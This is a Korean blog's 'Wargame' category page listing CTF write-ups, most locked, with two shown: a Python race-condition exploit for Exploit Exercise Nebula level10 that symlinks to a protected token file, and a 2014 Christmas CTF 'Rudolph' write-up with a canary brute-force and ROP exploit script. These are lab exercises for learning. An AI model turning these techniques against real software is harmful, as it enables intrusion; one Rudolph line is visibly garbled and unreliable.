Be myself :: 'Wargame' 카테고리의 글 목록

달력

072017  이전 다음

  •  
  •  
  •  
  •  
  •  
  •  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  •  
  •  
  •  
  •  
  •  

'Wargame'에 해당되는 글 35건

  1. 2017.01.08 [pwnable.kr]asm
  2. 2017.01.08 [pwnable.kr]unlink
  3. 2016.07.15 [pwnable.kr]sudoku
  4. 2016.01.26 [pwnable.kr]rsa_calculator
  5. 2015.12.24 [pwnable.kr]maze
  6. 2015.12.22 [pwnable.kr]nuclear
  7. 2015.12.18 [pwnable.kr]alloca
  8. 2015.08.05 [exploit exercise]nebula level10
  9. 2015.07.06 [pwnable.kr]crypto1
  10. 2015.07.03 2014 Christmas CTF Rudolph

[pwnable.kr]asm

2017.01.08 19:33

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]unlink

2017.01.08 12:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]sudoku

2016.07.15 20:12

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]rsa_calculator

2016.01.26 00:01

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]maze

2015.12.24 01:40

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]nuclear

2015.12.22 12:23

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]alloca

2015.12.18 01:03

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다.


import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			
def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")

def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()

if __name__ == '__main__':
	main()

ex.py

[*]server connection success ! 

.oO Oo.

None

[*]file is 

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27


[*]server connection success ! 


신고

'Wargame' 카테고리의 다른 글

[exploit exercise]nebula level10  (0) 2015.08.05
2014 Christmas CTF Rudolph  (0) 2015.07.03
Codegate2015 bookstore  (0) 2015.07.01
[codegate2015]pirate_danbi  (0) 2015.05.12
rwthCTF Trafman(ARM)  (0) 2015.01.06
codegate 2013 vuln400  (0) 2015.01.06
Posted by flack3r

[pwnable.kr]crypto1

2015.07.06 18:30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

작년 크리스마스때 잠깐 본 문젠데 파일들 뒤적거리다가 있어서 풀어봤다. (대회당시 못품..)
한번 풀어보고 싶으신 분들은 다운받아서 풀어보시길.

Rudolph

welcome.txt


취약점은 선물을 지울 때 bof취약점이 존재한다
일단 선물 구조체 내용과 취약한 코드는 이렇다. 

선물구조체에서 Num을 음수값이나 엄청 큰 값을 넣는다면, strlen으로 선물이름을 받아오는 부분에서 실제 이름보다 더 큰값을 받아 올 수 있다.(strlen이 NULL바이트까지 String의 byte수를 return하므로) 따라서 bof취약점이 존재한다. 또한 바로 밑의 코드로 LOBYTE(canary)로 카나리의 제일 하위바이트에 해당하는 위치에 null을 입력해 줘서 카나리 brute force attack이 가능해진다.(fork를 통해 구현된 서버이므로) 다음의 코드를 한번 보자

이제 우리는 브루트포싱 공격으로 카나리를 빼오고 위의 함수를 호출하면 되는데 문제는, "flag"라는 문자열을 가진 포인터가 필요하단 것이다. 그러므로 
임의의 버퍼(읽기,쓰기 권한이 존재하는 곳)에 "flag"를 쓰고 위 함수를 호출하면 된다. 따라서 대략적인 페이로드는 다음과 같이 된다.

read@plt + printWelcome + "0" + 임의의 쓰기 영역 + 쓸 바이트 수

이 때, 페이로드에 널바이트를 쓸 수 없으므로, 앞부분의 선물에 Num을 0으로 넣고 그 선물 버퍼까지 stack pivoting 을 통해 버퍼를 끌어 올린다.



익스플로잇 코드이다.

import socket
import struct
import time
import os
from telnetlib import *

class Exploit():

	Dest = ("localhost",4000)
	
	def start(self):
		self.Connect()

	def Connect(self):
		self.s = socket.socket()
		self.s.connect(self.Dest)

	def CloseSock(self):
		self.s.close()

	def read_until(self,msg):
		tmp = ""
		while(True):
			tmp += self.s.recv(1)
			if msg in tmp:
				break;

		return tmp

	def Sendln(self,msg):
		self.s.send(msg+"\n")

	def Send(self,msg,until):
		self.read_until(until)
		self.Sendln(msg)

	def RawSend(self,msg,until):
		self.read_until(until)
		self.s.send(msg)

	def Interact(self):
		t = Telnet()
		t.sock = self.s
		t.interact()

	def ReadyCanaryLeak(self,canary):
		self.Send("1","--->") # Insert gift list
		self.Send("A"*16,"Gift Name? >>>")
		self.Send("-1","Number of Gift? >>>")

		self.Send("1","--->") # Insert second list
		self.RawSend(canary,"Gift Name? >>>")
		self.Send("-1","Number of Gift? >>>")

		# self.Send("2","--->")
		# self.Send("A"*16,"Gift Name? >>>")
		# self.Send("3","Number of Gift? >>>")

	def CanaryLeak(self):
		Sum = lambda canary : reduce(lambda x,y : x+y, canary)
		tmpcanary1 = ['\xff']
		for BruteForceCanary in range(3):
			for i in range(0x1,0x100,1):
				self.Connect()
				tmpcanary2 = tmpcanary1[:]
				tmpcanary2.append(chr(i))
				tmpcanary2 = Sum(tmpcanary2)

				print "[*]canary 0x"+tmpcanary2.encode('hex') + " attack !!"
				self.ReadyCanaryLeak(tmpcanary2)
				self.Send("2","--->")
				self.Send("A"*16,"Gift Name? >>>")
				self.Send("3","Number of Gift? >>>")

				time.sleep(0.5)
				buf = self.s.recv(9000)
				if "stack smashing detected" in buf:
					print "[*]fail"
					continue
				elif "Removing Is OK" in buf:
					self.CloseSock()
					print "[*]find canary "+chr(i).encode('hex')
					tmpcanary1.append(chr(i))
					break

		if len(tmpcanary1) == 4 :
			self.Canary = Sum(tmpcanary1)
			"[*]Find All canary : 0x"+self.Canary.encode('hex')
			return self.Canary
		else:
			"[*]Fail to Find canary"

	def Attack(self):

		up = lambda x : struct.unpack("") # Insert gift list
		self.Send(p(0x8048d03)*2+p(0x8048770)+p(0x8048a93),"Gift Name? >>>") # read@plt, PrintWelcome
		self.Send("0","Number of Gift? >>>")

		self.Send("1","--->") # write this flag
		self.Send(p(0x804b0a4)+p(0x30),"Gift Name? >>>")
		self.Send("0","Number of Gift? >>>")

		self.Send("1","--->") # Insert trigger gift list
		self.Send("A"*16,"Gift Name? >>>")
		self.Send("-1","Number of Gift? >>>")

		'''ret sleding '''
		self.Send("1","--->") # Insert second list
		self.RawSend(self.Canary + "A"*12,"Gift Name? >>>")
		self.Send("134515971","Number of Gift? >>>")	#ret

		self.Send("1","--->") # Insert second list
		self.RawSend(p(0x8048d03)*4,"Gift Name? >>>") #ret
		self.Send("134518038","Number of Gift? >>>") #pop ebp ,ret

		'''attack '''		
		self.Send("2","--->")
		self.Send("A"*16,"Gift Name? >>>")
		self.Send("3","Number of Gift? >>>")

		time.sleep(0.5)
		self.s.send("flag")

		self.Interact()


def main():
	ex = Exploit()
	ex.CanaryLeak()
	ex.Attack()


if __name__ == '__main__':
	main()

Rudolphex.py




신고

'Wargame' 카테고리의 다른 글

[exploit exercise]nebula level10  (0) 2015.08.05
2014 Christmas CTF Rudolph  (0) 2015.07.03
Codegate2015 bookstore  (0) 2015.07.01
[codegate2015]pirate_danbi  (0) 2015.05.12
rwthCTF Trafman(ARM)  (0) 2015.01.06
codegate 2013 vuln400  (0) 2015.01.06
Posted by flack3r

티스토리 툴바